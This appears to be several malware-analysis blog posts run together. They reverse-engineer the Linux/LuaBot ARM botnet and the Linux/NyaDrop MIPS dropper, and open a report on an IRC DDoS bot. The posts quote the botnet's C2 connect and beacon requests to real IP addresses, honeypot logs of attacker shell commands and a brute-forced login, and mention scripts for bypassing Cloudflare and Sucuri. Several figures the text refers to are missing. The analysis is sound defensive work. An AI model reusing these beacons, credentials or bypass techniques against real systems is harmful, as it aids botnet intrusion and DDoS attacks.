  Magic:   7f 45 4c 46 01 01 01 00 00 00 00 00 00 00 00 00
  Class:                             ELF32
  Data:                              2's complement, little endian
  Version:                           1 (current)
  OS/ABI:                            UNIX - System V
  ABI Version:                       0
  Type:                              EXEC (Executable file)
  Machine:                           ARM
  Version:                           0x1
  Entry point address:               0x11940
  Start of program headers:          52 (bytes into file)
  Start of section headers:          995912 (bytes into file)
  Flags:                             0x5000202, has entry point, Version5 EABI, 
  Size of this header:               52 (bytes)
  Size of program headers:           32 (bytes)
  Number of program headers:         4
  Size of section headers:           40 (bytes)
  Number of section headers:         15
  Section header string table index: 14

Section Headers:
  [Nr] Name              Type            Addr     Off    Size   ES Flg Lk Inf Al
  [ 1] .init             PROGBITS        000100b4 0000b4 00000c 00  AX  0   0  4
  [ 2] .text             PROGBITS        000100c0 0000c0 0d3bac 00  AX  0   0  8
  [ 3] .fini             PROGBITS        000e3c6c 0d3c6c 00000c 00  AX  0   0  4
  [ 4] .rodata           PROGBITS        000e3c78 0d3c78 00dde8 00   A  0   0  8
  [ 5] .ARM.exidx        ARM_EXIDX       000f1a60 0e1a60 000008 00  AL  2   0  4
  [ 6] .eh_frame         PROGBITS        000f1a68 0e1a68 000004 00   A  0   0  4
  [ 7] .init_array       INIT_ARRAY      00102000 0e2000 000004 00  WA  0   0  4
  [ 8] .fini_array       FINI_ARRAY      00102004 0e2004 000004 00  WA  0   0  4
  [ 9] .jcr              PROGBITS        00102008 0e2008 000004 00  WA  0   0  4
  [10] .data             PROGBITS        00102010 0e2010 011178 00  WA  0   0  8
  [11] .bss              NOBITS          00113188 0f3188 002850 00  WA  0   0  8
  [12] .comment          PROGBITS        00000000 0f3188 000011 01  MS  0   0  1
  [13] .ARM.attributes   ARM_ATTRIBUTES  00000000 0f3199 000031 00      0   0  1
  [14] .shstrtab         STRTAB          00000000 0f31ca 00007b 00      0   0  1

Program Headers:
  Type           Offset   VirtAddr   PhysAddr   FileSiz MemSiz  Flg Align
  EXIDX          0x0e1a60 0x000f1a60 0x000f1a60 0x00008 0x00008 R   0x4
  LOAD           0x000000 0x00010000 0x00010000 0xe1a6c 0xe1a6c R E 0x10000
  LOAD           0x0e2000 0x00102000 0x00102000 0x11188 0x139d8 RW  0x10000
  GNU_STACK      0x000000 0x00000000 0x00000000 0x00000 0x00000 RW  0x10

Attribute Section: aeabi
File Attributes
  Tag_CPU_name: "ARM10TDMI"
  Tag_CPU_arch: v5T
  Tag_ARM_ISA_use: Yes
  Tag_THUMB_ISA_use: Thumb-1
  Tag_ABI_PCS_wchar_t: 4
  Tag_ABI_FP_rounding: Needed
  Tag_ABI_FP_denormal: Needed
  Tag_ABI_FP_exceptions: Needed
  Tag_ABI_FP_number_model: IEEE 754
  Tag_ABI_align_needed: 8-byte
  Tag_ABI_enum_size: int
  Tag_ABI_optimization_goals: Aggressive Size

The binary seemed to have signature of Sample Matrix RSA-4096 Certificate, trailing this further, I found out it's the trace of the MatrixSSL certification used for the bot client to perform the secure HTTPS connection. I previously wrote this as a signature, corrected after being sure.

00E9897  |  Sample Matrix RSA-4096 Certificate Authorit
00E98CF  |  US1
00E98DC  |  WA1
00E98E9  |  Seattle1
00E98FB  |  INSIDE Secure Corporation1
00E991F  |  Test0
00E9927  |  140324164110Z
00E9936  |  170323164110Z0
00E9946  |  1+0)
00E9950  |  "Sample Matrix RSA-4096 Certificate1
00E997E  |  US1
00E998B  |  WA1
00E9998  |  Seattle1"0 
00E99AA  |  INSIDE Secure Corporation1
00E99CE  |  Test0

It seems the sender of the sample was finding this malware already infected a system, since I figured the self-copied name on post infection is as per the sample's filename sent:

And this is why this "adventure" was started..

What is this ELF?

This is a new ELF botnet malware, coded in Lua [link] language ( @$LuaVersion: Lua 5.3.0). It is the first time to find an lua language ELF compiled malware, specifically in ARM cpu architecture, so let's call it as "Linux/LuaBot".

Below is the summary for this verdict:

The lua language used details can be seen in these viewable .lua source files traced, along with the lua runtime libaries and some botnet commands used:

The botnet commands can be traced in these called functions:

The binary was still in fully undetected (in short: FUD) state when I wrote this analysis:

At the time I firstly reverse-engineered ELF Linux/Luabot, I was on making short announcement & awareness about this new threat:

But yet, that report is not enough to explain the threat, there are a lot of things in this malware that can not be explained in one picture....

The following sections will explain more details on the threat..

How Linux/LuaBot infects us (initial steps)

It will be a lie to say that I know how this sample firstly infected a Linux host, since I only received the post-infected form of the sample. But don't worry, by some ELF analysis I can explain a bit on how it works as per followings:

Just right before forking is done, the malware will send you following message:

"Hi. Mail me if u want: xxxxx@xxx.ru"

I don't email him but I was checking these email addresses in Yandex Mail, by trying to make new account under @yandex.ru using these accounts, and someone is using it already. Meaning, the email addresses are there and we have high possibility owned by the bot coder. Picture? ↓

bbot_mutex_203508

call getdents64(%d, {
{d_ino=1, d_off=1, d_type=DT_DIR, d_reclen=24, d_name="."} 
{d_ino=1, d_off=2, d_type=DT_DIR, d_reclen=24, d_name=".."} 
   :
{d_ino=4026532032, d_off=11, d_type=DT_REG, d_reclen=24, d_name="kmsg"} 
{d_ino=4026532031, d_off=12, d_type=DT_REG, d_reclen=32, d_name="softirqs"} 
{d_ino=4026532030, d_off=13, d_type=DT_REG, d_reclen=32, d_name="version"} 
{d_ino=4026532029, d_off=14, d_type=DT_REG, d_reclen=32, d_name="uptime"} 
{d_ino=4026532028, d_off=15, d_type=DT_REG, d_reclen=24, d_name="stat"} 
{d_ino=4026532027, d_off=16, d_type=DT_REG, d_reclen=32, d_name="meminfo"} 
{d_ino=4026532026, d_off=17, d_type=DT_REG, d_reclen=32, d_name="loadavg"} 
{d_ino=4026532025, d_off=18, d_type=DT_REG, d_reclen=32, d_name="interrupts"} 
{d_ino=4026532024, d_off=19, d_type=DT_REG, d_reclen=32, d_name="devices"} 
{d_ino=4026532023, d_off=20, d_type=DT_REG, d_reclen=32, d_name="cpuinfo"} 
{d_ino=4026532022, d_off=21, d_type=DT_REG, d_reclen=32, d_name="consoles"} 
{d_ino=4026532021, d_off=22, d_type=DT_REG, d_reclen=32, d_name="cmdline"} 
{d_ino=4026532020, d_off=23, d_type=DT_REG, d_reclen=32, d_name="locks"} 
{d_ino=4026532019, d_off=24, d_type=DT_REG, d_reclen=32, d_name="filesystems"} 
{d_ino=4026532018, d_off=25, d_type=DT_REG, d_reclen=32, d_name="slabinfo"} 

Assemble BotID & writing the ID as stdout, with the following formulation:

"Bot id is \t{IFACE-NAME}-{IPADDR}-{NUM}[10-9]{6}:{Version}"

The formula can be seen if we hack further, with the lua script traces:

0000 0000 2240 0000 2028 2564 2b29 2040  ...."@.. (%d+) @
6262 6f74 5f6d 7574 6578 5f28 2564 2b29  bbot_mutex_(%d+)
0000 0000 0000 0000 f000 0000 d101 0000  ................

So it seems that the coder is forming the ID and mutex with the version value intact.
In relation with the data above, we know how the Luabot will not duplicate the infection. These are lua scripts from the reversed lua script, formed as similar as per below:


Yes, it checks for the version of the current running botnet platform before it daemonized itself. If it found the current running version is older, LuaBot will exit the current running instance.

0x012b7390  0000 0000 726f 6375 676f 6f67 6c65 2e63  ........google.c
0x012b73a0  6f6d 0034 343a 2063 3100 0000 3100 0000  om.44: c1...1...

0x012b73c0  0000 0000 726d 6973 6661 6365 626f 6f6b  ........facebook
0x012b73d0  2e63 6f6d 0000 0000 3100 0000 3100 0000  .com....1...1...

0x012b73f0  0000 0000 c09e 0200 6261 6964 752e 636f  ........baidu.co
0x012b7410  e073 2b01 0402 0000 c1c4 d41a 0a00 0000  .s+.............

0x012b7420  0000 0000 c8af 2c01 616d 617a 6f6e 2e63  ......,.amazon.c
0x012b7430  6f6d 0001 a076 2b01 c040 2b01 e040 2b01  om...v+..@+..@+.

0x01296de0  0006 000c 0977 696b 6970 6564 6961 036f  .....wikipedia.o
0x01296df0  7267 0000 0100 01c0 1600 0200 0100 02a3  rg..............

69.171.239.12 | a.ns.facebook.com. |32934 | 69.171.239.0/24 | FACEBOOK | US | facebook.com | Facebook Inc.
192.12.94.30 | e.gtld-servers.net. |36629 | 192.12.94.0/24 | MGTLD | US | verisign.com | Verisign Global Registry Services
198.41.0.4 | a.root-servers.net. |36625 | 198.41.0.0/24 | KGTLD | US | verisign-grs.net | VeriSign Infrastructure & Operations
202.108.22.220|xd-22-220-a8.bta.net.cn.|4808 | 202.108.0.0/18 | CHINA169 | CN | chinaunicom.com | China Unicom Beijing Province Network
204.74.108.1|pdns1.ultradns.net.|12008 | 204.74.108.0/24 | ULTRADNS | US | ultradns.com | UltraDNS Corp

Next, the malware will connect to the CNC in 217.23.3.47 and send an HTTP/1.1 GET command. Linux/LuaBot was firstly socket-connecting to 217.23.3.47 by port TCP/1085, there's no further activity in this connected port, assuming the checking scheme to poke the CNC and to make sure the CNC is up.

connect(8, {sa_family=AF_INET, sin_port=htons("1085"), sin_addr=inet_addr("217.23.3.47")}, 16)

And then, followed by the HTTP request to port TCP/80 of the same IP address:

GET "/bot?bid={IFACE}-{IPADDR}-{NUM}0123456:{MUTEX} HTTP/1.1\r\n"
Connection: "close\r\n"
Host: "217.23.3.47\r\n\r\n"

The origin of this CNC:

217.23.3.47|s4.mailuprising.com.|49981 | 217.23.0.0/20 | WORLDSTREAM | NL

I recorded this CNC connection session in PCAP with its encrypted form replies from 217.23.3.47
As you can see in the reply traffic part, it contains data of specific format of:

script|{Encrypted data}|endscript
＜br＞

The thing is, maybe LuaBot coder doesn't think reverser can decode this data, well..

A simple reversing can decode this hard-coded CNC easily:

At this point the data fetched is processed (decrypted), this is when we can receive some "goodies", like:

To be beautified into:

These are the data to be passed to the CNC sending function coded in Lua, that's using socket function to communicate with any of those nodes. It is suggested the access to open SOCKS which is specifically bound to those IP.

The listed IP addresses are all nodes of AS4998 from 109.236.80.0/20, 217.23.0.0/20 and 93.190.140.0/22 belong to a dedicated server hosting service WorldStream.NL, the customer layer service IP, in Netherlands. It looks like these IP is reserved by the botnet coder for a purpose, like maybe as a failover for CNC, or open socks for a merchandise. WorldStraem Hosting in Netherlands should be warned for their abusive user, which is possibly originated (strongly) from Russia.

There is another interesting data found, a botnet management trace

PS: There are also some passed values like (traced sent from the lua interpreter to C bind commands), which is used to monitor the bot performance like:

loadavg
meminfo
uptime
speed
ioports

And now we know exactly why Linux/Luabot is using getident64() for reading all of these..

Following the decoder trail a bit further, to find these IP to be connected just once and cleaned those up later on...this doesn't look good..
Which leads to the different IP addresses from:

185.14.30.214 | anna.me. |50673 | 185.14.28.0/22 | SERVERIUS | NL | itl.net.ua | ITL Company
46.22.211.46 |  |34702 | 46.22.208.0/20 | WAVECOM | EE | wavecom.ee | Aktsiaselts WaveCom
142.4.215.49 | 4.3.dedicated.sh. |16276 | 142.4.192.0/19 | OVH | FR | ovh.com | OVH Hosting Inc

These IP are involved to the botnet activity, could be the victim for the infection or the attack, it is maybe wise to check or contact these nodes' authority further.. There is more explanation of this code in the "What is the purpose of Linux/LuaBot?" section.

Okay, so far we found many network infrastructure were actually prepared by this botnet...let's continue with the malware process:

The malware changes the setting of iptables (Linux firewall) by following method:

bind(8, {sa_family=AF_INET, sin_port=htons("11833"), sin_addr=inet_addr("0.0.0.0")}
listen(8, 10240)

Below is the snapshot for infected state of a linux box by the Linux/LuaBot is as per tested case:

Noted, the UDP/41029 is for outbound DNS request, is insignificant and can be changed.

CNC traffic and Lua coded botnet functions

I guess all of the related data for the CNC traffic already being explained much in the above section, so in this part I just paste the overall CNC traffic monitored during the initial infection of Linux/LuaBot, which hoping can be used as reference on the infection, and proof of the analysis.

There are plenty trace of lua code can be found in this single cute tiny ARM ELF, but my favorite is the way Linux/LuaBot sends HTTP request to the remote sites, for the CNC purpose or proxy purpose.

The decrypted stub that contains IP bulk are data that is parsed to the hardcoded lua XMLHttpRequest function. The reversing effort (read: hacks) shows the below coded API in lua "pseudo function" used for the purpose:

So now we know why the MatrixSSL signature is in there, it is used for having the HTTPS connection to any web server using this API.

Below are some nice catches that's maybe worth to dig more :)

You can see the arrays say: "Stop breaking"lol :) ..sorry, it's a bit too late!
Okay, enough joking, what's this trace? If you ever see how some skid in hackerland trying to bypass Cloudflare protected sites by some javascript, here is one, extracted from this LuaBot. A ping! to Cloudflare to be aware.
Well, you can easily put anything you want in a botnet if it is based on scripts, can't you?

Next..let's ping Sucuri team for this:

This is also the same type as above figure. traces of usage some JS, this part is for Sucuri protection. See the next section for the detail..

The coder loves bad vocabulary.. :)

I think he described his coded malware very well in one word above :D

What is the purpose of Linux/LuaBot?

In the function at 0x07E2E0 on the reversed code, there are code that usually can be found in the DNS query handling tool, or name server resolver, as per snips below:

The code is originated from resolver.lua and it is interacted with the udp.lua, as per its name suggesting a lua library used to form User Datagram Protocol function and struct, This is showing the Linux/LuaBot has its own lua resolver function for the DNS query, and has ability to form its own UDP packet to be sent to any destination, so as its capability to act as independent DNS resolver. Keep this finding in mind, and go look deeper into the source codes extracted, you'll find the HTTP connectivity function, SOCKS server, code for creation sockets for performing TCP along with the mentioned UDP, with some supported libraries intact. If you know what I mean: This botnet was designed doesn't need infected system's resource at all to perform its operation!

There's also the telnet.lua codes compiled after interpreted via lua in this ELF, which is after being reversed it seems to be a simple telnet basic communication functions interpreted in lua language (that can be found many references in the internet) that may allow Linux/LuaBot to communicate remotely through this protocol.

Other functions like encoding/decoding coded in base64, a usage of utilizing json operation with its execution to several purpose (I don't want to disclose this yet), and other lua sources are for supporting the botnet operational activity for this malware.

And, so far...I can't proof any code that can triggered functions in a hostile action, like, being called for flooding or DDoS for example. But, since what I have now is only a one tiny cute ARM file sample, I may miss something with only so few reference I got..

Another thing that I don't seek deeper is the "penetrate_sucuri" part, a symbol (a reversed lua function) traced to be coded in the lua source file: *cough* "checkanus_sucuranus.lua" and there's also "checkanus.lua", which I took only a peek for it, it forms (http) action to a defined target. I'll leave the engineer experts on Sucuri team friends to analyze that part deeper, but by its name it may suggested to a penetration or a bypassing method into their protection scheme.
EDIT: see the below section to see how the Sucuri or Cloudflare cracking script is used by Linux/Luabot.

Okay..okay..So what's the purpose of this malware??

This malware is served as botnet aiming ARM architecture IoT Linux machines, and it is built with encrypted C2 communication protocol. The botnet is using MatrixSSL on ed25519 crypto to for the overall CNC communication commands. The communication data is also XOR masked to prevent textual easy readings or leaks. The concept of the encryption used is not that savvy by my personal opinion, but by signing its CNC communication commands is preventing Linux/Luabot CNC communication from being hijacked easily, which is the purpose for usage of MatrixSSL on this botnet.

If you see carefully in the above description, there are the "cmdline", and "cmdline args" spotted in several parts in ELF reversed code, forensics results and also source code trace too. The hacker can do a lot of things with it via a crypted remote commands pushed to his bots through this command interface, so this bot can be used to execution for the lua script. So one of the botnet functionality is the remote execution via this interface. For instance, you can execute the bot to perform an action by the command of:

./LuaBot_filename [path]{Luascript_filename}.lua

Linux/Luabot works in lua script as modular basis, seeing by the compiling trace and size, it was built from what I suspect from a native Lua compiler (see reference in latest version of Lua) with libc. It is enriched with the possible additional, or modification, and improvement as a framework that can be modified in a snap thus to be pushed to the next infection chain. This is what makes the design for botnet is flexible, and all can be done in scripting mode.

EDIT: I was just receiving request to PoC the argument execution, and also from other email asked to post some scripts I reversed, for the command argument execution I can share it as per below, these are a reversed code and it goes something like below, you'll get the idea:

To make a further amazement, the Linux/LuaBot is not only having one interpreter, which is lua, mainly, obviously, but it has the javascript interpreter that can execute the javascript commands that is needed to crack some protected sites like Cloudflare or Sucuri. Some traces I showed above are part of the proof for this concept. For this purpose. the coder seems making much effort to integrate V7 embedded JavaScript engine inside, The JavaScripts integrated in the Lua scripts with, sorry, *cough* "*anus*.lua" scripts part is meant for bypassing Sucuri protected site or to evade Cloudflare protection sites, so show the origin IP location. This is also suggesting offensive function.

I kept "this" information in secret before being very sure before writing it, but I think I now figured how the coder sells this botnet, by what service. The merchandise of selling is mostly the created or served SOCKS itself. As we are all know that many of the blackhat crooks are using SOCKS for proxy servicing their daily activity like for cushion to send spams, or trafficking for a malware infection, cushion for exploiting a site or device, and so on. And the config pushed to the Linux/LuaBot contains the latest SOCKS data to be served for that purpose.

In one of pictures previously shown, here I pasted it again below, explaining a great deal on how the coder (which also the herder) is using these socks practically:

..this is a nice demonstration for a temporary usage of SOCKS itself for some bad purpose. In the case it's showing the temporary usage for some defined SOCKS to be leaned up afterward. Such command like this that can be pushed by the command from the CNC to each of the Linux/LuaBot client. The shown picture is explaining the attempt to use SOCKS for cushion to illegal activities like: attacking the mentioned IP addresses for the bad purpose or hacking and so on... Linux/LuaBot is capable to serve as a framework providing bad guys with this cushion.

Another thing that I am quite certain too now is, different to the most ELF malware or Linux botnet spotted before, which are mostly communicating to the remote site via web protocol (to download something, or to fetch some data) is using wget (either busybox or static ones), or maybe using cURL library/command, LuaBot is utilizing the MatrixSSL and XMLHttpRequest to make it possible to communicate to any web remote site on his own native code and with is having full support on SSL encryption (via HTTPS). I'd say this is smart.

So far we think the coder is making his point that he can create fully undetected ELF botnet with encrypted communication easily from using lua script/language aiming IoT, and he is promoting Linux/LuaBot that can be used for "Botnet As a (malicious) Service" by selling SOCKS connection and also serving the et cetera payloads. That's why he put some of his email contacts openly...he tries to say that "he needs a job".

There is a serious flaw in this botnet, which made me possible to reverse most of the things, for the security purpose let this be a secret, also, there are plenty of undone and unused parts, along with some unnecessary traced codes too. Our team is now having a strong opinion that parts of the sample is on development stage.
Please take the rain check for these part as additional information, I will update information upon new reversing result confirmed.

Update: The "separate" ELF DDoS "module" for Linux/LuaBot

Linux/Luabot DDoS effort using ELF binary module

Approximately 4 hours ago the same person was sending another ARM in ELF stripped sample, thank you again.

This sample [link] is explaining the "missing link" of the DDoS function expected from this botnet. This module was coded in Lua and using the same static compilation environment, with zero detection ratio too. This additional ELF could be "the payload" that we are waiting for. This module is explaining a lot of detail on how the attack is performed, a simple download and execution command executed by the infected nodes from remote access via shell or internal command line interface is enough to trigger this attack.

Below is the file details:

:> !file dcc
dcc: ELF 32-bit LSB executable, ARM, EABI5 version 1 (SYSV), statically linked, stripped
:> !md5sum dcc
8e7637d72e522cb52012c02eb8ddfdbe  dcc
:> date
Tue, 06 Sep 2016 14:14:09 GMT + 0
:>

The targeted site is hard coded in this ELF module, as per seen below:

HTTP (L7) GET headers used for flooding is generated with following composition:

The attack process are mainly managed in main function at [0x00010ac0] and the loop for flood process can be confirmed between the range of address described below;

Noted, the binary needs specific "environment", if you're inexperienced with handling it, you may meet a SIGILL (sig 4) during runtime if the condition is unmatched.

:> dc
[+] signal 4 aka SIGILL received 0
:>

The interesting trace found in the DoS module ELF is as per below screenshot, a self explanatory.

Linux/Luabot DDoS effort using the Lua script module

As per explained in the previous parts, Lua script can be executed by Linux/LuaBot via argument for the command line execution too. The PoC for it can be reversed from the botnet itself like per following reformed Lua script. I put a lot of comments in the picture for understanding how it does:

Thank's for requesting me to post this script.. I believe I had all of the malicious aspects and parts reversed well by now.

Epilogue and follow up

  2023155 - ET TROJAN Linux/LuaBot CnC Beacon
  2023156 - ET TROJAN Linux/LuaBot CnC Beacon Response

Detection ratio from AntiVirus is raised from zero to 20 within 5 days:

Sucuri top hacker & his experts is analyzing the reversed code for mitigating evasion:

Background

Since the end of September 2016 I received a new type of attacks that aims the MIPS platform I provided to detect IoT attacks. I will call this threat as new ELF Linux/NyaDrop as per the name used by threat actor himself, for the "nyadrop" binary that is dropped in the compromised system.

This is not the "really" first time we're seeing this threat actually, in this year, some small events was detected on having these attacks which I ignored for some reasons, and on May 22th, me and hFiref0x of KernelMode was in a convo regarding to the threat which was detected. It was obviously the same threat (proof is as per picture below, thanks to hFiref0x for the ping that time).

On May's event, the attack was so poorly arranged so the infection wasn't occurred due to the lack of UNIX background of the bad actor. And I did not want to post it in anywhere, hopefully he will be always as dumb as per that state.

In the end of September 2016, a wave of attacks using IoT known factory hardcoded default login credential that was recently exposed on some blackhat events, was raising a lot of ELF threat to "come back" and race to infect the known IoT vulnerable sector. And during the session, the Linux/NyaDrop's loader attacks was re-surfacing again, and this time it got better (a bit), so I decided to write in this post as public awareness. For the purpose I made forensic records since early Octtober 2016 for the conducted attacks on specific platform aimed, MIPS CPU architecture, implying routers and similar networking devices, with 32bit clock.

This post is informing you about the information related to the attack, records of several attack pattern, the dropped binary analysis in reverse engineering. You may can get the hazards to be use detect and mitigate the threat, and further precaution. The complete log is shared to law enforcement. Beforehand, I thank FreeBSD foundation to the free & open source platform which I conduct all of my research, radare2 for the one and only reversing platform I use, and Linux for the great OS that is successfully implemented into plenty of IoT, and also Mr.Michel Oosterhof for his effort in improving a good tool.

The detail is in the following sections..

NyaDrop attack indicators

There are some indicators that can be used to detect this attack, the first pattern is the login "Failed attempt" and then followed by the "Success attempt" of login credential of the aimed IoT. The time for getting success attempt is very short, indicated the bruce force work.

The Fail then success attempt can be shown as per below:

In this attack the credential "5up", was used as first brute login.

The one shot attack with a success attempt can be shown as per below:

And below are the several pattern of failed attacks:

I think the last patterns is the most seen pattern by the honeypot users. You have to be as "cameleon" to Linux MIPS IoT system in characteristic to fulfill the herder's checks for then he will "grant" you to the Linux/NyaDrop binary :-)

This attack was keep on coming while I was writing this blog:

2016-10-13|20:33:11| sid/ip=701,'46.172.91.20'|SHELL|echo -n -e  '\x74\x65\x73\x74'
2016-10-13|22:33:04| sid/ip=825,'46.172.91.20'|SHELL|echo -n -e  '\x74\x65\x73\x74'
2016-10-13|23:58:45| sid/ip=996,'46.172.91.20'|SHELL|echo -n -e  '\x74\x65\x73\x74'
2016-10-14|00:32:03| sid/ip=993,'46.172.91.20'|SHELL|echo -n -e  '\x74\x65\x73\x74'

Some points to be noticed in these attacks are:

{
"ip": "46.172.91.20",
"hostname": "No Hostname",
"country": "RU",
"loc": "55.7386,37.6068",
"org": "AS35390 PE Masyuk Natalya"
}

nyadrop: ELF 32-bit MSB executable, MIPS, MIPS-II version 1 (SYSV), statically linked, stripped

Attacker is intentionally aiming MIPS, by checking the "cpuinfo" to be sure which CPU that the device is running, they don't infect my ARM or PPC devices, but yet again, it depends on how you plan to trap them.

How ELF Linux/Nyadrop works

The successfully installed malware file in the MIPS system is the Linux malware backdoor and dropper, I call it as ELF Linux/NyaDrop malware, with the function to open an internet socket (AF_INET) to remotely connect to the remote host for receiving data of any Linux executable stream intended to infect the previously Linux/NyaDrop compromised machine. The stream of received data to then be saved as "nya" ELF malware file and then to be executed by Linux/NyaDrop with its permission privilege on the targeted MIPS cpu architecture device.

The "nya" dropped file will be deleted everytime the next new attacks are successfully logged in to the MIPS machine and then updating the previously saved "nya" malware. This method is so generic and flexible for the attacker to update the botnet component, the backdoor (Linux/NyaDrop) itself, and can be arranged without giving many trace of executables. Further, during unsuccessful attack or the "obviously-detected-honeypot", neither the binary of "nyadrop" will be saved/infected successfully, following also the "nya" binary one. This is why the malware sample is not much spotted.

Linux/Nyadrop ELF binary analysis

As per mentioned in the above sections, the ELF binary of MIPS x32, static and stripped, was saved with the name of the "nyadrop" on the targeted MIPS device. The header is as follows:

SHA1 (nyadrop) = "095bb52056d00f0d93bba78e4b5b56313de7b79f"
Size = "621 bytes"
"ELF Header:"
  Magic:   7f 45 4c 46 01 02 01 00 00 00 00 00 00 00 00 00
  Class:                             ELF32
  Data:                              2's complement, big endian
  Version:                           1 (current)
  OS/ABI:                            UNIX - System V
  ABI Version:                       0
  Type:                              EXEC (Executable file)
  Machine:                           MIPS R3000
  Version:                           0x1
  Entry point address:               0x400090
  Start of program headers:          52 (bytes into file)
  Start of section headers:          500 (bytes into file)
  Flags:                             0x10001004, cpic, o32, mips2
  Size of this header:               52 (bytes)
  Size of program headers:           32 (bytes)
  Number of program headers:         2
  Size of section headers:           40 (bytes)
  Number of section headers:         3
  Section header string table index: 2
"Section Headers:"
  [Nr] Name              Type            Addr     Off    Size   ES Flg Lk Inf Al
  [ 0]                   NULL            00000000 000000 000000 00      0   0  0
  [ 1] .text             PROGBITS        00400090 000090 000150 00  AX  0   0 16
  [ 2] .shstrtab         STRTAB          00000000 0001e0 000011 00      0   0  

If you see the size, we are dealing with a small executable file. It's a clean libc compiled ELF from coded in C in such form that we see much in shellcodes. Insides is filled with the MIPS opcodes. We dealt before with the similar small ELF malware before in the following posts in here [link] and here [link], I will try to deal with this one too :)

Small size yes? But it is amazing to see what this small malicious ELF can do..

There's not so much strings that can be extracted by this binary..

However, the ASCII keyword of "ny4Ba" is a good way to grep for the easy filtration or one of the condition in filtering this malware (current) version for the mitigation / signature purpose.

Reversing the ELF Linux/Nyadrop

For the reversing method. I was using my usual way like with previous ELF malware or botnet analysis, with using radare2, some syscall analyzers in skeleton2 and some manual opcode reading.

Let's see reversing pad with a lot of comments I made in the screenshot below for the details on how this binary works, you'll get the idea better than reading my long explanation.

PS: Generally, the malicious functions in this ELF malware was reversed well. But please bear for some "bad reading" on some MIPS opcodes or address, which I think I may miss some few minor parts. Switching from Intel to ARM, PPC and MIPS opcodes reading is sometimes a bit hard to adapt quickly. Moreover I had only several hours to translate them to catch my sleeping time.

Detection, sample and follow-ups

The detection is bad, and you can expect multiple hash will be created per injected ELF of Linux/NyaDrop due to its nature of infection. Please avoid the hash base signature since it will be very meaningless, just as the Linux/Mayhem case [link](drop-able by spreader via multiple circumstances by script/shell).

Below is the screenshot I took AFTER I uploaded the sample to the VirusTotal:

*) You can click the picture for directly viewing the report in VirusTotal.

I understand that many people may not be as lucky as I am in gaining the sample of this threat. There is a good explanation for it, and that, I can not describe openly in this post for the security reason, since the known very bad actor who involved to this threat are reading this blog too (yeah, by now, I know who you are skiddo, so we meet AGAIN in this threat too).

My tip for trapping this threat better is: Give the bad actors anything he wants. < read between the line.

Since I received so many requests from fellow research and IR folks for the sample, I will share the sample to the good vetted close research community. In the mean time please bear with the Virus Total sharing [link]
If you need the text data of my reversing draft or log as per screenshot ones, or more questions on howto grab this samples better, please contact me, all data is available to be shared to good guys only.

[additional] Linux/NyaDrop differences to other recent ELF backdoor (s_malware)

WARNING: This section is a research material in a friendly manners, and it is NOT affected any entities to whom any related individual is working with or working for, these are strictly personal opinions between whitehat malware researchers.

My friend Mr. Korolev, a good Linux threat researcher & reverser, was bringing this issue to my attention (with thank's). as he informed:

The first time I saw the tweet, what I had in mind was: Why all of my ARM traps wasn't hit then? Since I have much more ARM devices than MIPS in all over internet now, it should fetch something than just only few of MIPS. The second thought was.. I must get off this bus to check it..this just "can't wait!" (..so I did, opening my OSX and checked the sample in a bus halt afterward).
So I replied with below:

With further elaboration:

...with an extra "howler" from r2 leader for being cought-in-the-act using r2 older version...cry :-P

Twitter is never enough to explain the stuff correctly, and I am not active in twitter anymore, so allow me to elaborate some details in here:

Mr. Korolev was not incorrect by saying the s_malware ELF trojan dropped in Dr. Johannes B. Ullrich,Ph.D., of ISC reported case [link] as s_malware, as "similar" in type of trojan to Linux/NyaDrop, which is a backdoor, and a file dropper, however, it is not Linux/NyaDrop nor coded in similar way as Linux/NyaDrop, so it could be made by different coder or actor behind the scene.

In in short explanation about how s_malware works is like this: Aiming as smallest size ARM ELF binary as possibly made, it uses syscall socket() to open a connection, and uses socket() again for listening via AF_INET, and then use socket syscall,one more time, to receive data from the remote and to then using write() syscall to save the payload with syscall write() if the stream of data is still in there, or exit. It is a smarter and smaller way to code since it seems only uses two linux syscalls for the overall operation.

See the above picture and please compare to how Linux/NyaDrop was coded in reversing section. The reason that s_malware ELF is not the Linux/NyaDrop is:
(1)Linux/NyaDrop is specifically using syscall connect() and syscall recv(), instead using syscall socket() to listen for incoming and receiving the data.
(2)Linux/NyaDrop is using syscall execve() to execute the dropped file after writing data into "nya" file was done, but there's no usage of any execution syscalls is made in the s_malware.
(3) The "nya" filename is only found in the ELF nyadrop binary.

There are plenty of small ELF backdoors/backconnect using the similar or even smarter concept in unixland. Linux/NyaDrop was designed as a sophisticated form in a smaller size as possible (621 bytes) with all correct calls coded intact. s_malware is about 484 bytes. There are more ways to make it even smaller, but remember this, that also will reveal the source of the coder well too.

The s_malware in hex:

Thank you for the News & Internet Media publishment

This section is dedicated to the IT threat journalists, who are so kindly help to raise awareness on Linux/NyaDrop threat. Their fast action and the effort in learning the indicators and nature of the NyaDrop threat is just marvellous, we have nothing to give these gents back except our hard work, thank you, and respect. Following are the notification and for others who hasn't been mentioned I am sorry, and will update as soon as I cam. Again, thank you.

Thank you to "Softpedia"& Mr. Catalin Cimpanu for speedy understanding & grasping the importance of awareness for Linux/NyaDrop in releasing the awareness of the threat by his article-->[link]. You can read a good summary for the threat in here.

Many thank's for "Odisseus", whitehat researcher and/or Mr. Pierluigi Paganini of "Security Affrair" for the interview arrangement on Linux/NyaDrop, you can see in this article-->[link]. You can read the insights details about the threat information, which was "cleverly" asked by Odisseus in here.

I thank also Mr. David M. Bisson of "Graham Cluley Blog" article [link], and Mr. Ionut Arghire with summarizing recent updates on Linux/NyaDrop in "Security Week" article [link].

Stay save friends!

#MalwareMustDie!
Reversed, written and analyzed by @unixfreaxjp [link] on October 13th 2016.

Summary

This post is a report of what it seems to be a new IRC botnet ELF malware, that is obviously used for performing DDoS attack via IRC botnet. It was coded with partially is having specification as per Tsunami/Kaiten protocol, but it is a re-coded one with the different way, with adding some more features in messaging and malicious/attack vectors used. The malware (the bot client) is designed to aim IoT device via telnet protocol, by using its originally coded telnet scanner function, which is brute-forcing the known vulnerable credential of the Linux IoT boxes, via command sent from a CNC malicious IRC server.

It is obviously a combined concept of kaiten (for IRC protocol used), the GayFgt/Torlus/Lizkebab/Bashdoor/Bashlite (for telnet scanner) and using the Mirai's botnet's leaked credential list. Furthermore, it is having an encoded CNC info for avoiding plain text sight. And having some hard-coded Italian language messages in the user's communication interface. The botnet is having DoS attack mechanism like UDP flood, TCP flood, along with other attack methods, in both IPv4 and IPv6 protocol, with extra IP spoof option in IPv4 or IPv6 too.

